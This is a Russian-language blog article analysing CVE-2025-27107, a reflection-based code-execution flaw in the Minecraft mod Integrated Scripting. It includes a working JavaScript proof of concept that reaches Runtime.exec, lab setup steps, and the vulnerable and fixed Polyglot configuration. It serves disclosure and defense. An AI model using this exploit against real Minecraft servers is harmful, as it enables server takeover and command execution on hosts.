Мы используем куки, чтобы пользоваться сайтом было удобно.
Хорошо
to the top
>
>
>
Как не потерять сервер в Minecraft...

Как не потерять сервер в Minecraft из-за опасных модов

19 Янв 2026

Уверен, что многие владельцы Minecraft-проектов сталкивались с игроками, которые хотели взломать сервер и выдать себе права администратора. Я понимаю, что подобное случается не только в играх, и из научного интереса изучаю, как и почему это происходит. В этой статье мы рассмотрим уязвимость в моде Integrated Scripting.

Введение

Дисклеймер! Статья — не учебное пособие про взлом серверов. Она освещает уже исправленную уязвимость CVE-2025-27107 в моде Integrated Scripting и показывает, как заранее от неё защититься.

Кажется, что найти Java-программиста, который не играл в Minecraft, очень сложно. И почти все, кто играл в него, знают про огромное количество модификаций для этой игры, и какое огромное комьюнити вокруг них строится.

Помимо модификаций, превращающих кубическую игру в шутер или RPG не хуже некоторых AAA-проектов, о которых я частично упоминал в своей прошлой статье, основу составляют модификации, расширяющие уже существующий геймплей. К ним относится и Integrated Dynamics.

Integrated Dynamics — это мод для автоматизации и управления системами в игре. Он позволяет создавать сложные сети, сочетая механики редстоуна, логических вентилей и энергосетей. Добавляет функции для передачи предметов, жидкостей и энергии, автокрафтинга, работы с NBT-данными и HTTP-взаимодействия.

На его базе можно создавать сложные системы обработки ресурсов, большие хранилища или оптимизировать некоторые рутинные игровые задачи. По возможностям он напоминает Applied Energistics 2, к которому мы, возможно, ещё притронемся в рамках нашего блога.

У мода есть множество аддонов, но в этой статье мы сосредоточимся на одном — Integrated Scripting.

Integrated Scripting — это аддон для модификации Integrated Dynamics, позволяющий писать скрипты на языке JavaScript, которые затем можно сохранять в Variable card. Эти карточки используются в механизмах для хранения и передачи данных. Например, с помощью логической функции можно задать, какие конкретно предметы и в каком случае мы хотим передавать в систему.

Как вам IDE? Базовый минимум — подсветка, вывод компилятора. С переносом, конечно, есть проблемы.

Со всеми вводными разобрались, теперь переходим к самой CVE.

О CVE-2025-27107

Начнём с названия: что такое CVE? Разберём тезисно, более подробно об этом написано тут.

Common Vulnerabilities and Exposures (CVE) — список известных уязвимостей и дефектов безопасности. Его формирует компания MITRE — американская некоммерческая организация, которая специализируется в области системной инженерии. Список состоит из записей, каждая из которых описывает одну общеизвестную и уже исправленную уязвимость. Одна из таких записей как раз принадлежит нашему "подопытному" моду. Формат названия выглядит так: CVE-ГОД-ID.

Теперь наденем детективную шляпу и приступим к изучению материалов дела CVE-2025-27107. 13 марта 2025 года в официальном GitHub-репозитории мода IntegratedScripting в разделе Security была опубликована запись о возможности произвольного выполнения кода с использованием рефлексии.

Выполнение произвольного кода (Arbitrary Code Execution, ACE) — это возможность для злоумышленника выполнять любые команды или код по своему выбору на целевой машине или в целевом процессе.

Удалённое выполнение кода (Remote Code Execution, RCE) — это разновидность выполнения произвольного кода, при которой злоумышленник может запускать команды на целевой системе удалённо, без физического доступа.

Автор записи chc4 утверждает, что, вызвав getClass().getClass() на объекте исключения в скрипте, мы получим объект java.lang.Class. Далее с помощью рефлексии можно вызвать Class.forNameи таким образом выполнить любой произвольный код на серверной машине.

Приведу сокращённый пример:

try {
  // пытаемся получить исключение ClassCastException
  idContext.ops.listGet(i, 1)
} catch(e) {
  cls = e.getClass().getClass()
  console.log(cls) // java.lang.Class
  methods = cls.getMethods()
  forName = methods.filter(x => x.getName() == "forName" &&
                              x.getParameterCount() == 1
                        )[0]
  console.log(forName) // java.lang.Class.forName(java.lang.String)

  runtimeClass = forName.invoke(null, "java.lang.Runtime")
  getRuntimeMeth = runtimeClass.getMethod("getRuntime")
  runtime = getRuntimeMeth.invoke(null)
  execMethod = runtimeClass.getMethods()
                           .filter(x => x.getName() == "exec" &&
                                        x.getParameterCount() == 1
                                  )[0]
  execMethod.invoke(runtime, "notepad.exe");
}

Более подробно о причине, почему в JavaScript нам удалось получить методы рефлексии из Java и почему на это не было ограничения, мы разберём в следующем пункте. Сейчас же я предлагаю вам очутиться на месте преступления. В первую очередь нам понадобится Minecraft 1.21.1 с четырьмя модами определённых версий:

  • IntegratedDynamics-1.21.1-neoforge-1.29.6
  • IntegratedScripting-1.21.1-neoforge-1.0.16 (уязвимость исправлена, начиная с версии 1.0.17)
  • IntegratedTunnels-1.21.1-neoforge-1.9.2
  • IntegratedTerminals-1.21.1-neoforge-1.6.21

Далее мы построим вот такую конструкцию в игре.

В конструкции используются:

  • два сундука;
  • терминал скриптов;
  • интерфейс предметов;
  • экспортёр предметов;
  • три логических кабеля;
  • scripting drive.

После этого нам нужно вставить скрипт, который выполняет notepad.exe, в карту и поместить её в экспортёр. Затем просто кладём вещи в сундук и видим магию:

Вместо вызова notepad.exe скрипт может выполнить произвольную команду операционной системы или, к примеру, добавить игрока в список администраторов сервера через файл ops.json.

Давайте разберёмся, почему это произошло и как уязвимость была исправлена.

Причина и исправление

Принцип работы простой: Integrated Scripting использует компилятор Polyglot. Он позволяет запускать разные языки программирования на JVM, поэтому мод может интерпретировать скрипты и передавать их результат в систему Integrated Dynamics.

Внутри библиотеки за выполнение кода отвечает класс Context. Он настраивается через Context.Builder, где разработчик может указать, какие возможности будут доступны скрипту: от доступа к Java-объектам до работы с потоками и вводом-выводом :

Файл: ScriptHelpers.java:46

public static Context createBaseContext(....) {
  Context.Builder contextBuilder = Context
    .newBuilder()
    .engine(ENGINE)
    // .allowAllAccess(true)
    .allowCreateProcess(GeneralConfig.graalAllowCreateProcess)
    .allowCreateThread(GeneralConfig.graalAllowCreateThread)
    .allowIO(GeneralConfig.graalAllowIo)
    .allowHostClassLoading(GeneralConfig.graalAllowHostClassLoading)
    .allowExperimentalOptions(GeneralConfig.graalAllowExperimentalOptions)
    .allowNativeAccess(GeneralConfig.graalAllowNative)
    .allowHostAccess(HostAccess.ALL)          // <=
    .allowInnerContextOptions(false);
  ....
  return contextBuilder.build();
}

Разработчик не разрешал прямой доступ к Java-классам, однако в приведённом выше фрагменте настройка allowHostAccess(HostAccess.ALL) в том числе разрешает скрипту полный доступ к рефлексии. Об этом говорится в документации к этой настройке:

Обратите внимание, что эта политика разрешает неограниченный доступ к рефлексии. Настоятельно не рекомендуется использовать эту политику в средах, где гостевое приложение не является полностью доверенным.

Ошибка разработчиков мода заключалась именно в этом: они разрешили доступ к рефлексии, что позволило выполнять произвольный код в Java-окружении, в котором запущена серверная часть мода. Именно это мы и использовали в нашем "эксплойте".

Исправили эту уязвимость просто: разработчик заменил HostAccess.ALL на индивидуальную настройку через HostAccess.Builder и перенёс все параметры в конфигурацию мода GeneralConfig. Администраторы серверов могут самостоятельно настраивать параметр allowPublicAccess, который отвечает за предоставление неограниченного доступа к рефлексии. Теперь по умолчанию эта настройка отключена.

Вот как теперь выглядит файл с настройкой: ScriptHelpers.java:41

.allowHostAccess(HostAccess.newBuilder()
  .allowPublicAccess(GeneralConfig.graalAllowHostPublicAccess) // default false
  .allowAllImplementations(GeneralConfig.graalAllowHostAllImplementations)
  .allowAllClassImplementations(
    GeneralConfig.graalAllowHostAllClassImplementations
  )
  .allowArrayAccess(GeneralConfig.graalAllowHostArrayAccess)
  .allowListAccess(GeneralConfig.graalAllowHostListAccess)
  .allowBufferAccess(GeneralConfig.graalAllowHostBufferAccess)
  .allowIterableAccess(GeneralConfig.graalAllowHostIterableAccess)
  .allowIteratorAccess(GeneralConfig.graalAllowHostIteratorAccess)
  .allowMapAccess(GeneralConfig.graalAllowHostMapAccess)
  .allowAccessInheritance(GeneralConfig.graalAllowHostAccessInheritance)
  .build()
)

Интересно, что подобные уязвимости в Minecraft‑сообществе, к сожалению, возникают далеко не впервые. Достаточно вспомнить Log4Shell (CVE‑2021‑44228), которая в 2021 году буквально взорвала не только Minecraft, но и половину интернета. Одна ошибка в библиотеке привела к массовому удалённому выполнению кода и настоящей панике среди администраторов серверов. Я тогда варился в Minecraft‑серверах и прекрасно помню, как мне предлагали купить "патченную" версию Log4j с удалённым функционалом для взлома.

В эпоху версии 1.7.10 произошёл ещё один серьёзный инцидент — уязвимость удалённого выполнения кода в моде BiblioCraft (CVE‑2023‑29478). Она позволяла с помощью атаки Path Traversal подложить серверу мод с полезной нагрузкой, что делало эксплуатацию чрезвычайно простой и опасной.

Заключение

Как показывает практика, взломать Minecraft‑сервер куда проще, чем может показаться на первый взгляд. Обнаруженная уязвимость оказалась действительно опасной, однако разработчики выпустили исправление, а владельцы серверов своевременно обновились, что позволило минимизировать последствия.

Эта история ещё раз напоминает, насколько важно внимательно относиться к установке модификаций. Даже популярные проекты не застрахованы от критических ошибок: уязвимая версия мода (1.0.16) до сих пор свободно лежит на первой странице мода на CurseForge и доступна для скачивания без каких‑либо предупреждений.

Чтобы обезопаситься от подобных уязвимостей, стоит регулярно выполнять статический анализ кода. Он помогает выявлять небезопасные конструкции, потенциально опасные участки логики и ошибки, которые способны привести к проблемам безопасности приложения. Например, диагностическое правило анализатора PVS-Studio V5339 позволяет выявлять уязвимости выполнения удалённого кода в Polyglot. Для open source проектов существует вариант бесплатного лицензирования.

Последние статьи:

Опрос:

book gost

Дарим
электронную книгу
за подписку!

Популярные статьи по теме


Комментарии (0)

Следующие комментарии next comments
close comment form